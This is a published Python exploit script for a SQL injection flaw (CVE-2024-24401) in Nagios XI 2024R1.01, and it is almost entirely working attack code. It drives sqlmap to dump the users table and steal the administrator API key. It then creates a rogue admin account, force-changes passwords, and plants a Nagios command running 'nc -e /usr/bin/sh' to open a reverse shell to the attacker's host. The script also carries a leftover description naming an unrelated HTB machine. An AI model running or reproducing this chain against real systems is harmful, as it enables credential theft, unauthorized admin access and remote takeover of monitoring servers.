1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 |
# Exploit Title: NAGIOS XI SQLI # Google Dork: [if applicable] # Date: 02/26/2024 # Exploit Author: Jarod Jaslow (MAWK) https://www.linkedin.com/in/jarod-jaslow-codename-mawk-265144201/ # Vendor Homepage: https://www.nagios.com/changelog/#nagios-xi # Software Link: https://github.com/MAWK0235/CVE-2024-24401 # Version: Nagios XI Version 2024R1.01 # Tested on: Nagios XI Version 2024R1.01 LINUX # CVE : https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-24401 # import requests import subprocess import argparse import re import urllib3 import os import random import string from colorama import Fore, Style urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) def serviceLogin(user,password): r = requests.post(f'http://{IP}/nagiosxi/api/v1/authenticate?pretty=1',data={'username':user,'password':password,"valid_min":"5"},verify=False) print(f"{Fore.MAGENTA}[+] Authenticating with captured credtials to API....") match = re.search(r'auth_token": "(.*)"',r.text) if match: token = match.group(1) print(f'{Fore.MAGENTA}[+] Token: ' + token) r = requests.get(f'http://{IP}/nagiosxi/login.php?token={token}', verify=False) cookie = r.headers['Set-Cookie'] cookie = cookie.split(',')[0] match = re.search(r'nagiosxi=(.*);', cookie) cookie = match.group(1) print(f"{Fore.MAGENTA}[+] Auth cookie is: " + cookie) return cookie else: print(f'{Fore.RED}[-] Authentication Failed..{Style.RESET_ALL}') exit() def sqlmap(IP,username,password): print(f'{Fore.MAGENTA}[+] Starting SQLMAP...') session = requests.session() s = session.get(f'http://{IP}/nagiosxi/index.php', verify=False) match = re.search(r'var nsp_str = \"(.*?)\"', s.text) nsp = match.group(1) print(f"{Fore.MAGENTA}[+] NSP captured: " + nsp) data = {"nsp": nsp, "page": "auth", "debug": '', "pageopt": "login", "username": username, "password": password, "loginButton": ''} s = session.post(f'http://{IP}/nagiosxi/login.php', data=data) print(f"{Fore.MAGENTA}[+] Authenticated as User..") print(f"{Fore.MAGENTA}[+] Accepting license Agreement...") s = session.get(f'http://{IP}/nagiosxi/login.php?showlicense', verify=False) match = re.search(r'var nsp_str = \"(.*?)\"', s.text) nsp = match.group(1) data = {"page": "/nagiosxi/login.php", "pageopt": "agreelicense", "nsp": nsp, "agree_license": "on"} session.post(f"http://{IP}/nagiosxi/login.php?showlicense", data=data) print(f"{Fore.MAGENTA}[+] Performing mandatory password change ARGH") newPass = "mawk" data = {"page": "/nagiosxi/login.php", "pageopt": "changepass", "nsp": nsp,"current_password": password, "password1": newPass, "password2": newPass, "reporttimesubmitbutton": ''} session.post(f"http://{IP}/nagiosxi/login.php?forcepasswordchange", data=data) s= session.get(f'http://{IP}/nagiosxi/') match = re.search(r'var nsp_str = \"(.*?)\"', s.text) nsp = match.group(1) cookie = s.cookies.get('nagiosxi') sqlmap_command = f'sqlmap --flush-session -u "http://{IP}/nagiosxi//config/monitoringwizard.php/1*?update=1&nextstep=2&nsp={nsp}&wizard=mysqlserver" --cookie="nagiosxi={cookie}" --dump -D nagiosxi -T xi_users --drop-set-cookie --technique=ET --dbms=MySQL -p id --risk=3 --level=5 --threads=10 --batch' #print(sqlmap_command) sqlmap_command_output = subprocess.Popen(sqlmap_command,shell=True,stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True ) try: for line in iter(sqlmap_command_output.stdout.readline, ''): if "| Nagios Administrator |" in line: match = re.search(r"Nagios Administrator \| (.*?) \|", line) if match: adminKey= match.group(1) print(f"{Fore.MAGENTA}[+] Admin Key recovered: " + adminKey) return adminKey else: print(f"{Fore.RED}[-] Could not pull Admin Key :(....{Style.RESET_ALL}") exit() break print("[-] SQLMAP capture FAILED..") sqlmap_command_output.terminate() except KeyboardInterrupt: print(f"{Fore.RED}[-] SQLMAP interrupted. Cleaning up...{Style.RESET_ALL}") sqlmap_command_output.terminate() sqlmap_command_output.communicate() exit() def createAdmin(IP,adminKey): characters = string.ascii_letters + string.digits random_username = ''.join(random.choice(characters) for i in range(5)) random_password = ''.join(random.choice(characters) for i in range(5)) data = {"username": random_username, "password": random_password, "name": random_username, "email": f"{random_username}@mail.com", "auth_level": "admin"} r = requests.post(f'http://{IP}/nagiosxi/api/v1/system/user?apikey={adminKey}&pretty=1', data=data, verify=False) if "success" in r.text: print(f'{Fore.MAGENTA}[+] Admin account created...') return random_username, random_password else: print(f'{Fore.RED}[-] Account Creation Failed!!! :(...{Style.RESET_ALL}') print(r.text) exit() def start_HTTP_server(): subprocess.Popen(["python", "-m", "http.server", "8000"], stdout=subprocess.PIPE, stderr=subprocess.PIPE) def adminExploit(adminUsername, adminPassword, IP, LHOST,LPORT): print(f"{Fore.MAGENTA}[+] Conducting mandatory password change...") session = requests.session() s = session.get(f'http://{IP}/nagiosxi/index.php', verify=False) match = re.search(r'var nsp_str = \"(.*?)\"', s.text) nsp = match.group(1) print(f"{Fore.MAGENTA}[+] NSP captured: " + nsp) data = {"nsp": nsp, "page": "auth", "debug": '', "pageopt": "login", "username": adminUsername, "password": adminPassword, "loginButton": ''} s = session.post(f'http://{IP}/nagiosxi/login.php', data=data) print(f"{Fore.MAGENTA}[+] Authenticated as admin..") print(f"{Fore.MAGENTA}[+] Accepting license Agreement...") s = session.get(f'http://{IP}/nagiosxi/login.php?showlicense', verify=False) match = re.search(r'var nsp_str = \"(.*?)\"', s.text) nsp = match.group(1) data = {"page": "/nagiosxi/login.php", "pageopt": "agreelicense", "nsp": nsp, "agree_license": "on"} session.post(f"http://{IP}/nagiosxi/login.php?showlicense", data=data) print(f"{Fore.MAGENTA}[+] Performing mandatory password change ARGH") newAdminPass = adminUsername + adminPassword data = {"page": "/nagiosxi/login.php", "pageopt": "changepass","current_password": adminPassword, "nsp": nsp, "password1": newAdminPass, "password2": newAdminPass, "reporttimesubmitbutton": ''} session.post(f"http://{IP}/nagiosxi/login.php?forcepasswordchange", data=data) print(f"{Fore.MAGENTA}[+] Creating new command...") data = {"tfName": adminUsername, "tfCommand": f"nc -e /usr/bin/sh {LHOST} {LPORT}", "selCommandType": "1", "chbActive": "1", "cmd": "submit", "mode": "insert", "hidId": "0", "hidName": '', "hidServiceDescription": '', "hostAddress": "127.0.0.1", "exactType": "command", "type": "command", "genericType": "command"} session.post(f'http://{IP}/nagiosxi/includes/components/ccm/index.php?type=command&page=1', data=data) data = {"cmd": '', "continue": ''} start_HTTP_server() print(f"{Fore.MAGENTA}[+] Created command: " + adminUsername) session.post(f'http://{IP}/nagiosxi/includes/components/nagioscorecfg/applyconfig.php?cmd=confirm', data=data) data = {"search": adminUsername} s = session.post(f'http://{IP}/nagiosxi/includes/components/ccm/index.php?cmd=view&type=command&page=1', data=data) match = re.search(r"javascript:actionPic\('deactivate','(.*?)','", s.text) if match: commandCID = match.group(1) print(f"{Fore.MAGENTA}[+] Captured Command CID: " + commandCID) s = session.get(f"http://{IP}/nagiosxi/includes/components/ccm/?cmd=view&type=service") match = re.search(r'var nsp_str = \"(.*?)\"', s.text) if match: nsp = match.group(1) s = session.get(f"http://{IP}/nagiosxi/includes/components/ccm/command_test.php?cmd=test&mode=test&cid={commandCID}&nsp={nsp}") os.system("kill -9 $(lsof -t -i:8000)") print(f"{Fore.RED}[+] CHECK UR LISTENER") else: print(f"{Fore.RED}[-] ERROR") else: print(f"{Fore.RED}[-] Failed to capture Command CID..{Style.RESET_ALL}") if __name__ == '__main__': ascii_art = f"""{Fore.LIGHTRED_EX} ███╗ ███╗ █████╗ ██╗██╗██╗██╗███████╗ ██████╗██████╗ ██╗██████╗ ████████╗███████╗ ████╗ ████║██╔══██╗██║██║██║ ██╔╝██╔════╝██╔════╝██╔══██╗██║██╔══██╗╚══██╔══╝██╔════╝ ██╔████╔██║███████║██║ █╗ ██║█████╔╝ ███████╗██║ ██████╔╝██║██████╔╝ ██║ ███████╗ ██║╚██╔╝██║██╔══██║██║███╗██║██╔═██╗ ╚════██║██║ ██╔══██╗██║██╔═══╝██║ ╚════██║ ██║ ╚═╝ ██║██║██║╚███╔███╔╝██║██╗███████║╚██████╗██║██║██║██║██║ ███████║ ╚═╝ ╚═╝╚═╝╚═╝ ╚══╝╚══╝ ╚═╝╚═╝╚══════╝ ╚═════╝╚═╝╚═╝╚═╝╚═╝╚═╝ ╚══════╝ {Style.RESET_ALL} """ print(ascii_art) parser = argparse.ArgumentParser(description="AutoPwn Script for Bizness HTB machine", usage= "sudo Nagios.py <Target IP><LHOST> <LPORT>") parser.add_argument('IP' ,help= "Target IP ") parser.add_argument('LHOST',help= "Local host") parser.add_argument('LPORT' ,help= "Listening Port") args = parser.parse_args() min_required_args = 3 if len(vars(args)) != min_required_args: parser.print_usage() exit() adminUsername, adminPassword = createAdmin(args.IP, sqlmap(args.IP,input(f"{Fore.MAGENTA}[+] Please insert a non-administrative username: "),input(f"{Fore.MAGENTA}[+] Please insert the password: "))) print(f"{Fore.MAGENTA}[+] Admin Username=" + adminUsername) print(f"{Fore.MAGENTA}[+] Admin Password=" + adminPassword) adminExploit(adminUsername, adminPassword, args.IP,args.LHOST,args.LPORT) |